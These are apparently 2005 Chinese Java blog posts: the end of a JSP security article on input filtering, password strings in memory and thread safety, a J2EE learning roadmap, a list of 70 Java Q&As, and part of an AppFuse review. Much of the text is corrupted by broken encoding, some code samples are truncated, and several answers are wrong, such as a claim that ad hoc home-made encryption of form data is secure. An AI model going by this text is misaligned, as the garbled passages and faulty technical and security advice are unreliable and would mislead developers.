   但是我不清楚��Z��么他只对密码而不对用户名�q��o星号。另外，正斜杠似乎也应该被列到“黑名单”中。我�q�是认�ؓ用正则表辑ּ�只允许输入指定范围内的字�W�来得干脆�?
   �q�里要提醒一句：不要以�ؓ可以凭借某些数据库�pȝ��天生的“安全性”就可以有效地抵御所有的��d��。pinkeyes的那��《PHP注入实例》就�l�那些依赖PHP的配�|�文件中的“magic_quotes_gpc = On”的��Z��了一课�?

五、String对象带来的隐�(zh��n)?
   Java�q�_��的确使安全编�E�更加方便了。Java中无指针�Q�这意味着 Java �E�序不再像C那样能对地址�I�间中的��L��内存位置��d��了。在JSP文�g被编译成 .class 文�g时会被检查安全性问题，例如当访问超出数�l�大��的数组元素的尝试将被拒�l�，�q�在很大�E�度上避免了�~�冲区溢出攻凅R��但是，String对象却会�l�我们带来一些安全上的隐�(zh��n)�。如果密码是存储�?Java String 对象中的�Q�则直到对它�q�行垃圾攉��或进�E�终止之前，密码会一直驻留在内存中。即使进行了垃圾攉��Q�它仍会存在于空闲内存堆中，直到重用该内存空间�ؓ止。密�?String 在内存中�ȝ��得越久，遭到�H�听的危险性就��大。更�p�的是，如果实际内存减少�Q�则操作�pȝ��会将�q�个密码 String 换页调度到磁盘的交换�I�间�Q�因此容易遭受磁盘块�H�听��d��。�ؓ了将�q�种泄密的可能性降��x��低（但不是消除）�Q��?zh��n)�应该��密码存储�?char 数组中，�q�在使用后对其置�Ӟ��String 是不可变的，无法对其�|�零�Q��?

六、线�E�安全初�?
   “JAVA能做的，JSP��p��做”。与ASP、PHP�{�脚本语�a�不一��P��JSP默认是以多线�E�方式执行的。以多线�E�方式执行可大大降低对系�l�的资源需求，提高�pȝ��的�ƈ发量及响应时间。线�E�在�E�序中是独立的、�ƈ发的执行路径�Q�每个线�E�有它自��q��堆栈、自��q��E�序计数器和自己的局部变量。虽然多�U�程应用�E�序中的大多数操作都可以�q�行�q�行�Q�但也有某些操作�Q�如更新全局标志或处理共享文�Ӟ��不能�q�行�q�行。如果没做好�U�程的同步，在大�q�发量访问时�Q�不需要恶意用��L��“热心参与”，问题也会出现。最��单的解决�Ҏ(gu��)��是在相关的JSP文�g中加�? <%@ page isThreadSafe="false" %>指��o�Q��它以单线�E�方式执行，�q�时�Q�所有客��L��的请求以串行方式执行。这样会严重降低�pȝ��的性能。我们可以仍让JSP文�g以多�U�程方式执行�Q�通过对函��C��锁来对线�E�进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例：
public class MyClass{
   int a;
   public Init() {//此方法可以多个线�E�同时调�?
       a = 0;
   }
   public synchronized void Set() {//两个�U�程不能同时调用此方�?
       if(a>5) {
           a= a-5;
       }
   }
}
   但是�q�样仍然会对�pȝ��的性能有一定媄响。一个更好的�Ҏ(gu��)��是采用局部变量代替实例变量。因为实例变量是在堆中分配的�Q�被属于该实例的所有线�E�共享，不是�U�程安全的，而局部变量在堆栈中分配，因�ؓ每个�U�程都有它自��q��堆栈�I�间�Q�所以这��L��E�就是安全的了。比如凌云论坛中��d��好友的代码：
public void addFriend(int i, String s, String s1)
   throws DBConnectException
{
     try
     {
           if…�?
else
           {
               DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
               dbconnect.setInt(1, i);
               dbconnect.setString(2, s);
               dbconnect.executeUpdate();
               dbconnect.close();
               dbconnect = null;
           }
       }
      catch(Exception exception)
       {
           throw new DBConnectException(exception.getMessage());
       }
}
   下面是调用：
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
   forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
   errorInfo=forumFriend.getErrorInfo();
}
   如果采用的是实例变量�Q�那么该实例变量属于该实例的所有线�E�共享，��有可能出现用户A传递了某个参数后他的线�E��{为睡眠状态，而参数被用户B无意间修改，造成好友错配的现象�?img src ="http://www.aygfsteel.com/frankboy/aggbug/27236.html" width = "1" height = "1" />

frankboy 2006-01-09 11:35 发表评论

java学习

frankboy — Tue, 27 Dec 2005 15:46:00 GMT

********************************Java Web �~�程*******************************************
　　Web�~�程的核心是HTTP协议�Q?/SPAN>HTTP协议�?/SPAN>Java无关�Q�如果不熟�?zh��n)?/SPAN>HTTP协议的话�Q�虽然也可以学好Servlet/JSP�~�程�Q�但是达不到举一反三�Q�一通百通的境界。所�?/SPAN>HTTP协议的学习是必备的。如果熟�(zh��n)�了HTTP协议的话�Q�又有了Java�~�程的良好的基础�Q�学�?/SPAN>Servlet/JSP��直易如反掌，我学�?/SPAN>Servlet/JSP��q��了不��C��周的旉��Q�然后就开始用JSP来做��目了�?/SPAN>

　　�?/SPAN>Servlet/JSP的学习中�Q�重头仍然是Servlet Documentation�?/SPAN>Servlet API最常用的类很少�Q�花比较?y��u)��的旉��可以掌握了。把�q�些�c�都看一遍，多写几个例子试试�?/SPAN>Servlet/JSP�~�程本质��是在反复调用这些类来通过HTTP协议�?/SPAN>Web Server�?/SPAN>Brower之间交谈。另外对JSP�Q�还需要熟�(zh��n)�几个常�?/SPAN>JSP的标讎ͼ�具体的写法记不住的话�Q��(f��)时查��是了�?/SPAN>

此外Java Web�~�程学习的重点要攑֜�Web Application的设计模式上�Q�如何进行业务逻辑的分析，�q�且�q�行合理的设计，按照MVC设计模式的要求，�q�用Servlet�?/SPAN>JSP分别完成不同的逻辑层，掌握如何�?/SPAN>Servlet�?/SPAN>JSP之间�q�行��程的控制和数据的共享，以及Web Application应该如何配置和部�|�Ӏ?/SPAN>

***************************************J2EE�~�程*********************************************
　　以上的学习过�E�如果是比较��利的话�Q�进行到�q�一步，隑ֺ�又陡然提高。因��Z��面的知识内容都是只涉及一个方面，而像EJB�Q?/SPAN>JMS�Q?/SPAN>JTA�{�核心的J2EE规范往往是几�U?/SPAN>Java技术的�l�合�q�用的结�Ӟ��所以掌握�v来难度比较大�?/SPAN>

　　首先一定要学习�?/SPAN>JNDI�Q?/SPAN>JNDI�?/SPAN>App Server定位服务器资源（EJB�l��g�Q?/SPAN>Datasouce�Q?/SPAN>JMS�Q�查找方法，如果�?/SPAN>JNDI不熟�(zh��n)�的话，EJB�Q?/SPAN>JMS�q�些东西几乎学不下去�?/SPAN>JNDI其实��是javax.naming.*�q�个包，�q�用��h��很简单。难点在于服务器资源文�g的配�|�。对于服务器资源文�g的配�|�，��需要看看专门的文档规范了，比如web.xml的写法，ejb-jar.xml的写法等�{�。针�Ҏ(gu��)��U�不同的App Server�Q�还有自��q��服务资源配置文�g�Q�也是需要熟�(zh��n)�的�?/SPAN>

　　然后可以学习JTA�Q�主要是要理�?/SPAN>JTA对于事务的控制的�Ҏ(gu��)��Q�以及该在什么场合��?/SPAN>JTA。这里可以简单的举个例子�Q�我们知道一般情况可以对于一个数据库�q�接�q�行事务控制(conn.setAutoCommit(false),....,conn.commit())�Q�做��Z��个原子操作，但是假设我的业务需求是要把对两个不同数据库的操作做��Z��个原子操作，你能做的到吗�Q�这时候只能用JTA了。假设操作过�E�是先往A数据库插一条记录，然后删除B数据库另一个记录，我们自己写代码是控制不了把整个操作做��Z��个原子操作的。用JTA的话�Q�由App Server来完成控制�?/SPAN>

　　在学�?/SPAN>EJB之前要学习对象序列化�?/SPAN>RMI�Q?/SPAN>RMI�?/SPAN>EJB的基��。接着学习JMS�?/SPAN>EJB�Q�对�?/SPAN>EJB来说�Q�最关键是要理解EJB是如何通过RMI来实现对�q�端对象的调用的�Q�以及在什么情况下要用�?/SPAN>EJB�?/SPAN>

　　在学习完EJB�Q?/SPAN>JMS�q�些东西之后�Q�你可能会意识到要急不可待学习两个领域的知识，一个是UML�Q�另一个是Design Pattern�?/SPAN>Java企业软�g的设计非帔R��视框�?/SPAN>(Framework)的设计，一个好的��Y件框架是软�g开发成功的必要条�g。在�q�个时候，应该开始把学习的重�Ҏ(gu��)��在设计模式和框架的学习上�Q�通过学习和实际的�~�程�l�验来掌�?/SPAN>EJB的设计模式和J2EE的核心模式�?/SPAN>

　　J2EE规范里面�Q�除�?/SPAN>EJB�Q?/SPAN>JMS�Q?/SPAN>JTA�Q?/SPAN>Servlet/JSP�Q?/SPAN>JDBC之外�q�有很多很多的企业技术，�q�里不一一�q�行介绍了�?/SPAN>

　　另外�q�有一个最新领�?/SPAN>Web Services�?/SPAN>Web Services也完全没有�Q何新东西�Q�它像是一�U�黏合剂�Q�可以把不同的服务统一��h��提供一个统一的调用接口，作�ؓ使用者来��_��我只要获得服务提供者给我的WSDL�Q�对服务的描�q�ͼ��Q�就够了�Q�我完全不知道服务器提供者提供的服务�I�竟�?/SPAN>EJB�l��g�Q�还�?/SPAN>.Net�l��g�Q�还是什�?/SPAN>CORBA�l��g�Q�还是其他的什么实玎ͼ�我也不需要知道�?/SPAN>Web Services最伟大的地方就在于通过�l�一的服务提供方式和调用方式�Q�实��C��整个Internet服务的共享，是一个非��o人激动的技术领域�?/SPAN>Web Services好像目前�q�没有什么很好的书籍�Q�但是可以通过在网�l�上面查资料的方式来学习�?/SPAN>

frankboy 2005-12-27 23:46 发表评论

java问答

frankboy — Tue, 27 Dec 2005 15:39:00 GMT

70个JAVA问答

1. 问：在JAVA与JSP中要调用一个LINUX上的脚本�E�序,或WINDOWS上的脚本�E�序,该怎么写？
�{�：System.getRuntime().exec("bash < aaa.sh");

2. 问：java中用什么表�C�双引号
�{�："\""

3. 问：如何在JSP�E�序里另起一个线�E�？
�{�：
JSP本��n��是独立�U�程�q�行而不象CGI都是独立�q�程.
一�?
Thread t = new Thread("你的对象\\");
t.start();��可以了.
要求你这个对象要实现runnable接口或��承thread.

4. 问：jsp如何获得客户端的IP地址�Q?BR>�{�：
request.getRemoteAddr()
看看各个webserver的API文档说明�Q�一般都有自带的�Q�resin和tomcat都有

5. 问：�E�序�l�止与输出终�?BR>�{�：
�E�序中止:return;
输出中止:out.close();�q�一句相当于ASP的response.end

6. 问：jsp中如何得��C��늚�URL�Q?BR>�{�：request.getHeader("referer");

7. 问：提交�|�页的网��过期功能是怎么做的�Q?BR>�{�：response.setHader("Expires","0");

8. 问：在JSP�|�页中如何知道自已打开的页面的名称
�{�：
request.getRequestURI() ;//文�g�?BR>request.getRequestURL() ;//全部�Q�Ｒ�Q?BR>

9. 问：提交表单后验证没有通过�Q�返回提交页面，如何使原提交��面中的数据保留�Q?BR>�{�：javascript的go(-1)可以把上��늚�表单内容重新昄��出来,但password域没�?BR>

10. 问：如何取得http的头信息�Q?BR>�{�：request.getHader(headerName);

11. 问：&&�?amp;的区别？
�{�：
&&是短路的与操作，也就是当��C��个条件是false的时候，�W�二个条件不用执�?BR>&相反�Q�两个条件��L��执行�?BR>

12. 问：��?以正弦曲�U�的一个周期显�C�出�?BR>�{�：
public void paint(Graphics g)
{
for(int i=0;i<200;i++)
g.drawString("*",i,(int)(Math.sin(i)*20)+50);
}
}

13. 问：��点数相乘后�l�果不精��如100.0 * 0.6 �l�果�{�于 60.0004
�{�：
�q�不叫错�?float和double是这样实现的.如果要精��计��，java提供了一个strictfp,它的计算遵��@IEEE 754标准.而普通的float和double是由地��^台��Q�Ҏ(gu��)��式或��g提供的额外精度或表示范围�?BR>

14. 问：如何获得当前用的cursors的位�|�？
�{�：
int row = rs.getRow()��是当前指针行数,�q�有isFrist();isBeforeFist();isLast();isAfterLast();可以��试是不是在�Ҏ(gu��)��名所说的位置

15. 问：表单成功提交了，点后退昄��|�页�q�期
�{�：
�?lt;head>里面加以下代�?BR>

或者在表单��中加上
<%
response.setHeader("Pragma","no-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires",0);
%>

16. 问：接口的简单理�?BR>�{�：接口��Z��规范,比如我在接口中定义了一个方�?
getData()
�q�是用来从不同的数据库中取数据的,��是JDBC的实现对于用�?我不要知道每�U�数据库是如何做�?但我知道如何它们要实现这个接口就一定有�q�个�Ҏ(gu��)��可以供我调用.�q�样SUN��把�q�个接口�l�各个数据库开发商,让他们自己实�? 但�ؓ什么不用��承而用接口�?因�ؓ�l�承只能从一个你�cȝ��?而接口可以实现多�?��是说我实现的子�c�L��多个规定好的接口中的功能. �q�只是简单的理解,�{�你深入理解抽象的时候就知道抽象到抽象类时�ؓ什么还要再抽象到接�?

17. 问：怎样�~�写一个取消按钮（怎样�q�回上一个页面，象工��h��的后退按钮�Q�？
�{�：
javascript把每�ơ浏览过的location都压��C��一个栈�?�q�个栈就是history,然后你如果要回到�W�几个页面它?y��u)��做几次POP操作,把最后POP出来的那个LOCATION�l�你. �q�就是JAVASCRIPT在实现history.go(-x)的原�?

18. 问：什么是回调�Q?BR>�{�：
��单说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事��报告给�? �q�就是回调用的思想.例子太多�?AWT的事�?SWING事�g模型都是�q�样�? �q�有多线�E�中,如果要控制线�E�数,不能��L��查询每个�U�程是否�l�束,要在每个�U�程�l�束时让�U�程自己告诉�ȝ��E�我�l�束�?你可以开新的�U�程�?

19. 问：��要介�l�一下compareTo�Ҏ(gu��)��
�{�：
compareTo�Ҏ(gu��)��是Comparable 接口必需实现的方�?只要实现Comparable ��可以用Arrays.srot()排序��p��实现Runnable接口的run��p��Thread()一�?

20. 问：如何可以从别的Web服务器检索页, 然后把检索到的网��늚�HTML代码储存在一个变量中�q�回�q�来
�{�：�q�是一个简单的WEB ROBOT实现,用URL�c�d��C��|�页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去��p��?

21. 问：applet中如何获得键盘的输入
�{�：application的System.in是当前系�l�的标准输入,applet因�ؓ安全的原因不可能��d��当前�pȝ��(客户�?的标准输�?只能从它的ROOT�l��g的事件中,比如键盘事�g中取得键�?

22. 问：怎样计算代码执行所��p��的时��_��
�{�：
代码开始取旉��Q�结束后取时��_��相减
long t1 = System.currentTimeMillis();
///////////////// your code
long t2 = System.currentTimeMillis() ;
long time = t2-t1;

23. 问：如何获在�E�序中获得一个文件的ContentType�Q?BR>�{�：
URL u = new URL("file:///aaa.txt");
URLConnection uc = u.openConnection();
String s = uc.getContentType();

24. 问：�q�接池的使用是徏立很多连接池�Q�还是一个连接池里用多个�q�接�Q?BR>�{�：
只有在对象源不同的情况下才会发生多个池化,如果你只�q�一�l�一个数据源,永远不要用多个连�l�池. 所以连�l�池的初始化一定要做成静态的,而且应该在构造对象之�?也就是只有在�c�LOAD的时�?别的时候不应该有�Q何生成新的连�l�池的时候�?BR>

25. 问：JavaMail要怎么安装�Q?BR>�{�：下蝲两个包，一个是javamail包，另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATH�?BR>

26. 问：怎样把地址栏里的地址锁定�Q?BR>�{�：把你的服务器的可讉K��目录索引选项关闭��p��?��M��服务器都有一个conf文�g,里面都有�q�个选项�?BR>

27. 问：在JAVA中怎么取得环境变量啊。比如： TEMP = C�Q�\TEMP �Q?BR>�{�：String sss = System.getProperty(key)

28. 问：怎样实现四舍五入�Q�保留小数点后两位小敎ͼ�
�{�：
import java.text.*;
...
NumberFormat nf=NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(2);
nf.setMinimumFractionDigits(2);
nf.format(numb);

29. 问：Applet和form如何通信�Q?BR>�{�：
取得的参��C��到param里面
<%
String xxx = request.getParameter("xxx");
%>

30. 问：java-plug-in是什么？
�{�：Java Runtime Environment的插件。用来运行java�E�序。不需要什么特别的讄��。等于你的机器里面有了jvm�?BR>

31. 问：WEB上面怎么栯��接上一个EXCEL表格�Q?BR>�{�：
定义��面得contentType="application/vnd.ms-excel"�Q�让��面以excel得�Ş式打开。同样也可以以word得�Ş式打开�Q�application/msword�?BR>

32. 问：怎样才能避免textarea字数限制�Q?BR>�{�：是��用了FORM的默认方法的�~�故,如果什么也不写默认是GET改用Post卛_��Q�在Form中定义mothod="post"�?BR>

33. 问：��Z��么加�?lt;%@page contentType="text/html;charset=gb2312" %>插入数据库的中文�Q�依然是��q��Q?BR>�{�：
�q�要从环境看,能显�C��明你的JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中�?同一公司不同版本的JDBC都有支持中文和不支持中文的情�?RESIN自带的MYSQL JDBC��׃��支持,MM的就支持,�q�有你的数据库类型是否支持中�?CHAR的一般支�?但是否用binary存储双字节码

34. 问：对于JFrame�Q�hide()�Q�show()与setVisibel()有什么区别吗�Q?BR>�{�：
setVisible()从Component�l�承�q�来�Q�而hide(),show()从Window里面�l�承�q�来�?BR>Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这�?BR>

36. 问：sendRedirect��Z��么不可以转到mms协议的地址的？response.sendRedirect("mms://missiah.adsldns.org:9394");
�{�：java�q�_��目前实现的protocol中�ƈ没有mms,你可以取�pȝ��属性java.protocol.handler.pkgs看看它的��g��有没有mms,所以如果要想重定向到mms://host�q�样和URL,只有生成客户端的JAVASCRIPT让它来重定向

37. 问：JTable中怎样定义各个Columns和W(xu��)idth和怎样讄��表格的内定w��做靠��x��居中�Q?BR>�{�：
TableColumn tc = table.getColumn("Name");//取得列名�?Name"的列Handle
int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽�?BR>tc.setPreferredWidth(200); //讄��当前列宽
tc.setMaxWidth(200); //讄��该列最大宽�?BR>tc.setMinWidth(50); //讄��该列最��宽�?BR>

38. 问：�Ҏ(gu��)��作是否可用于select语句�Q?BR>�{�：�Ҏ(gu��)��作其实是指成批理更新的操�?�l�对不可能用于select操作�?BR>

39. 问：��Z��么jsp路径太深文�g名太长就无法��d��文�g�Q?BR>�{�：path不能��过255长度,不然��找不到�?�q�是作业�pȝ��的事�?BR>

40. 问：如何让页面不保留�~�存�Q?BR>�{�：
<%
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);
%>

41. 问：我的applet code 中用到jbutton 时就出错是否�׃��ie不支持swing package 请问应怎么办？
�{�：JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar攑֜�classpath��p��?不要加蝲��M��别的库�?BR>

42. 问：不知道java是否支持midi格式�Q�如果支持，应该怎么把wave格式转换成midi格式�Q?BR>�{�：目前�q�不�?可以看一下JMF三个版中对MIDI的格式支持是read only,而W(xu��)AVE是read/write,MIDI只能播放,不能生成�?BR>

43. 问：在jsp里面防止用户直接输入url�q�去��面�Q�应该怎么做呢�Q?BR>�{�：
一是从web服务器控�?�Ҏ(gu��)��一目录的所有访问要通过验证.
二是在要讉K��的页面中加入控制.�q�个一般用session,也可以用��h��状态码实现

44. 问：
例如后台有一计算应用�E�序�Q�此�E�序�q�算��h��很慢�Q�可持箋几分钟到几小�Ӟ��q�不��，主要是能�Ȁ�z�d��Q�，客户��d��提交后，服务器对��d��q�行��无误后��向服务器后台程序发送信息，�q�将其激�z�R��要求如下：
1�Q�首先将后台�E�序�Ȁ�z�，让它执行此�Q务（比如�Q�前台将计算的C代码提交上后�Q�后台程序程序能马上调用�Q��ƈ��其�q�行�Q?BR>2�Q�要在前台JSP��面中显�C��行过�E�信息（�׃��q�行旉��长，希望让客��L��到运行过�E�中产生的信息）如何完成�Q?BR>
�{�：
�z�L��可以�?�q�行一个shell让它去运行后台就�?但不可能取出�q�行信息,因�ؓHTTP的超旉��制不可能永远�{�你后台�q�行�?而且信息如果要动态实时推出来��得用SERVER PUSH技术�?BR>

45. 问：数据库是datetime �?�Q�插入当前时间到数据库？
�{�：
java.sql.Date sqlDate = new java.sql.Date();
PreparedStatement pstmt = conn.prepareStatement("insert into foo(time) values(?)");
pstmt.setDate(1,sqlDate);
pstmt.executeUpdate();

46. 问：怎样��L��字符串前后的�I�格�?BR>�{�：String.trim()

47. 问：session怎样存取int�c�d��的变量？
�{�：
session.setAttribute("int", i+"");
int i = Integer.parseInt(session.getAttribute("int"));

48. 问：在javascript中如何��输出的float�c�d��的数据保留两位小数�?BR>�{�：Math.round(aaaaa*100)/100�?BR>

49. 问：在bean�U�如何调用session
�{�：
你可把session对象作�ؓ一个参��C��l�bean
在BEAN中定义HttpServletRequest request;HttpSession session;
然后
session = request.getSession(false);
false为如果session为空,不徏立新的session
��session作�ؓ参数传入.其实只要��request传入��可�?BR>

50. 问：如何把txt或word文�g按原格式昄��在jsp��面或servlet上？
�{�：
其实一个非常简单的解决�Ҏ(gu��)��是在服务器的MIME中指点定TEXT和W(xu��)ORD的解释方�?然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文档�?BR>如果是希望按原格式的昄��在页面上�Q�而不是调用其他程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮�?它是在WEB方式下打开文档,和共享一�?完全�W�合的要求�?BR>

51. 问：object的clone�Ҏ(gu��)��Z��么不能直接调用？
�{�：
�q�个�Ҏ(gu��)��在object中是protected
��Z��么要把这个方法定义�ؓprotected,�q�是一个折�?它的目的是想知道你这个方法在Object里只是一个标�?而不是一个实�?比如

public class Object
{

.............
protected Object clone()
{}
}

所以直接��承的clone()�Ҏ(gu��)��q�不能做��M��?你要使用�q�个�Ҏ(gu��)��p��重蝲�q�个�Ҏ(gu��)��q�放宽访问权限�ؓpublic,或实现cloneable接口. 但它没法�q�样告诉你它没有真的实现,只好用protected �Ҏ(gu��)��加以警示

52. 问：一个页面中如何��h��另外一个页面？
�{�：
要求是这些面��必��L��兌��,一是它们都有一个共同的��层�?也就是说是一个��内的分��面,当然可以是�Q意��,帧内再分帧也可以,另一个可能是当前�H�口弹出的窗�?如果没有联系,那就不可能用一个页面刷新另一个页�? 帧内只要一�U�一�U�引用就行了. 比如在左帧中一个页面中写top.right.location.reload();那么名�ؓright的右帧中的页面就会刷�? 弹出的一�?用open时的名称��h��子窗�?子窗口用opener��h��ȝ��?BR>

53. 问：如何在jsp中怎么样向客户端写cookies�Q?BR>�{�：
Cookie coo = new Cookie(name, value);
HttpServletResponse.addCookie(name);

54. 问：��Z��么jTextField1.setText("aaabbb");jTextField2.setText("AAABBB"); 得到的字体宽度不一��P��
�{�：��是说如果不是指定�ؓ�{�宽字体,每个字体的宽度都是不一��L��.因此JAVA中用FontMetrics �c�L��取字�W�宽度�?BR>

55. 问：String kk=application/octet-stream; name="G:/SMBCrack.exe";如何得到SMBCrack.exe�Q?BR>�{�：
�q�应该是解析上传时候的二进制流得到的这一行里面格式是固定的，取到name="后面的字�W�串�Q�然后把";��L��。然后取最后一�?后面的所有字�W�组成一个新字符串就行了�?BR>

56. 问：如何传值�ƈ不刷新页面？
�{�：
弹出一个页面进行值的选择或者输入，ok后��用将��g��l�原�H�口�Q��用javascript关闭打开的窗口即可：
window.close();opener.focus();

57. 问：有一个字�W�串�Q?EF0C114EA4"�Q�如何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0x11 a[3] = 0x4E a[4] = 0xA4�Q?BR>�{�：
String str="EF0C114EA4F";
out.print(str+"
");
int l=str.length()/2+str.length()%2,j=0,k=0;
String[] a=new String[l];
for(int i=0;iif(str.length()-j==1)
k=str.length();
else
k=j+2;
a[i]="0x"+str.substring(j,k);
out.print("a["+Integer.toString(i)+"]="+a[i]+"
");
j+=2;
}

58. 问：怎样��一个int转换成一个四字节的byte数组�Q?BR>�{�：
int x = 1234567;
byte[] b = new byte[4];
for(int i=0;i{
b[i] = (x >>( i*8)) & 0xFF;
}

59. 问：indexOf()的��用需要注意什么？
�{�：参数是指从第几位�Q?�Q?�Q?�Q?..�Q�开始搜索，而返回值是指搜索到的位�|�（0�Q?�Q?�Q?.......�Q�注意是从零��v的�?BR>

60. 问：在Java应用�E�序中如何动态的��d��一个按钮？
�{�：
�q�里涉及一个组仉��l�的问题,�l��g要先于panel被显�C�Z��处存�?如果一panel已经昄��?那么加在上面你能看到�?但如果在同一个panel�? 先有button A,假如按下它加了butt on B,�q�时你如果��整个panel重给,那么A本��n要重�l?它的事�g监听��没有了,当然也就加不成B�?所以如果要先有另一个panel,当按A时把B加在�q�个panel上�ƈ重绘�q�个paenl,其实更好的方法是先把B加在panel�?同一个也�?把它setVisiable(flase),按A时设�?true�?BR>

61. 问：book mybook=new book(bookid);book是servlet,出错�?BR>�{�：
book是servlet,能book mybook=new book(bookid);
说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJB�q?%的区别都没有,它们都是自己�l�承或实��C��些接�?在这些父�c�L��接口中实��C��如果和容器\"打交�?的方�?然后容器调用�q�些�Ҏ(gu��)��来管理它,让它生成实例,池化,钝化,销�?再生�{?所以这样写是错误的�?BR>

62. 问：�l�定一个字�W�串5*(5+9)/7怎样计算出结果？
�{�：
可有两种�Ҏ(gu��)��
1。用堆栈完成
2。最��单的�Ҏ(gu��)��Q�不用编�E�，如果有�Q何一个数据库的化�Q�用select (5*(5+9)/7) from oneTable

63. 问：如何实现递交表单内容的加密解密？
�{�：
如果你用IE目前只能用SSL协议,�q�一层不要你考虑,否则只你用你自己的工具加密传�?接收后再解密�?至于如何加解,如果要和公认的系�l�结�?��q��通用的MD5,RAS�{�公开��法,如果你只是自�׃��自己�?你随便按你的��x��把数据加上一些东�?取回来按规则减掉�q�些东西,我敢保证除你自己没有��M��知道解密�Ҏ(gu��)��.

64. 问：��Z��么Integer.parseInt("+1");会抛出NumberFormatException的异常？
�{�：因�ؓ"+"�q�行��在JAVA中被重蝲.�pȝ��无法��定你用的是��术加还是字�W?�?BR>�q�一点可以在JAVASCRIPT中更好地理解:

var a = document.t.s.value+1;
�q�时a = 12345,因�ؓdocument.t.s.value作�ؓ字符�?但var a = document.t.s.value-1;
a ��是1233,因�ؓ�pȝ��知道-�q�算肯定是算术运�?所以把document.t.s.value转换成数�?

65. 问：hashCode() 有什么用��Z��么有时候需要覆盖Object里的hashcode()�Ҏ(gu��)��Q?BR>�{�：�q�就是这个对象的�w�䆾证啊,要不如何区分哪个对象�?BR>

66. 问：怎样在tomcat中实��C��个定时执行的东东�Q?BR>�{�：
在应用程序启动时自动�q�行。servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭（可在配置文�g中配�|�）�Q�启动时触发一个守护程序的�q�行(可以实现java.util.Timer或则 javax.swing.Timer).

67. 问：�E�序可以输出自己吗？
�{�：孔�d�(zh��n)�论�q�个非常有名的法�?��是说�Q何程序都不可能输��?

68. 问：能够把字�W��{化成ASCII码？比如��?A 转化�?65�Q?BR>�{�：
int a='A';
out.println(a);

69. 问：如何区分输入的文字中的全角与半角�Q?BR>�{�：�׃��不能分��L出全角和半角字符的值有什么规�?只好把全角符��L��丑և�来了.

70. 问：用户注册后的自动发信�E�序该怎么做？
�{�：
�q�种发信�E�序不考虑性能,因�ؓ不可�?�U�就有一个�h注册,我们说的考虑性能的发信程序是指上百万��信在队列里要不停发送的那种,象你�q�个随便怎么写一个程序都�?没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocket�q�它�?5口就行了.自己用SOCKET�q�SMTP�?5口发一��信��好象两个邻居之间送一样东�?直接递过��d��?用JAVAMAIL,消息机制��是你把�q�个东西从邮局寄给你的��d��?

frankboy 2005-12-27 23:39 发表评论

Appfuse

frankboy — Tue, 27 Dec 2005 15:21:00 GMT

Appfuse�ȝ��

使用AppFuse�q�行开发的�ȝ��

AppFuse 是一个集成了当前最��行的Web应用框架的一个更高层�ơ的Web开发框�Ӟ��也可以说是一个Web开发基��q�_��Q�它与它所集成的各�U�框架相比，它提供了一部分所有Web�pȝ��开发过�E�中都需要开发的一些功能，如登陆、用户密码加密，用户��理、根据不同的用户可以展现不同的菜单，可以自动生成40�Q?60%左右的代码，自带了默认的一些在CSS中设定的样式�Q��用这些样式能很快的改变整个系�l�的外观�Q�还有自动化��试的功能�?

它最大的价值就是�ؓ我们提供了一个Web开发的新的方式和思�\�Q�尽��这些技术在国外都已�q�很��行了，但在国内能够��Hibernate、Struts、Spring�?DBUnit、Ant、Log4J、Struts Menu、Xdoclet、SiteMesh、Velocity、JUnit、JSTL、WebWork�q�些技术集成到一个框架中的还不多见，所以即使不使用它的全部功能�Q�它也给我们提供了一个很好的借鉴、学习的��Z��?

通过��x��AppFuse�Q�我们可以看到目前国外的��L��开发都使用了哪些技术，开发方式是什么样的，可能辑ֈ�什么样的结果，而在以前�Q�是很少能够看到�q�样完整的例子的�?

AppFuse的另一个启�C�是�Q�我们可以依靠开源��Y件的功能降低开发成本，而且可以阅读开源��Y件的代码提高所在团队的整体实力�?

AppFuse 的作�?matt raible是当今开源世界一个比较活跃的开发者，它是AppFuse、Struts Menu的作者，也是XDoclet、DisplayTag�{�一些著名开源项目的�U�极参与者，《Hibernate In Action》的作者就在感谢的名单里面提到他，XDoclet的下载版本中所带的Hibernate标签部分的例子就是他写的�Q�他�q�是2004�q?Apache技术年会的主讲��Z��一。（�q�些都是我这2个多月来搜集到的�Q�呵呵）

但是通过2个月的实际学习和使用�Q�我也遇��C��p�d��的问题，因�ؓAppFuse是将其他的一些类库或者框枉��成在一��L��Q�集成的技术众多，而且有一些技术在国内甚至很少有�h知道�Q�资料也比较?y��u)��，所以虽然作者经�q�了一些测试，但都是基于英文编码的�Q�而对于中文编码来��_��q�潜在的存在着一些问题，虽然不是AppFuse的问题，但却降低了开发速度�Q�下面是我在开发过�E�中遇到�q�的问题�Q�有些解决了�Q�有些还没有解决�Q?
一�Q�Struts
1�Q?AppFuse中默认的MVC框架是Struts�Q�而且使用的是LookupDispatchAction�Q��ƈ且��用的是按钮（button�Q�，在XP下用IE��览效果�q�可以，但如果在2000或�?8下，��׃��外观很难看，而且当时我还遇到一个问题：如果按钮昄��中文�Q�则在DisplayTag中翻��失灵，而且报错�Q�后来我把BaseAction的相��x��法改变了�Q�才可以使用�Q�因为国内的客户都比较重视界面，所以后来我��那些按钮都�Ҏ(gu��)��囄��了，当然也要��d��一些方法了�Q�有炚w��烦！
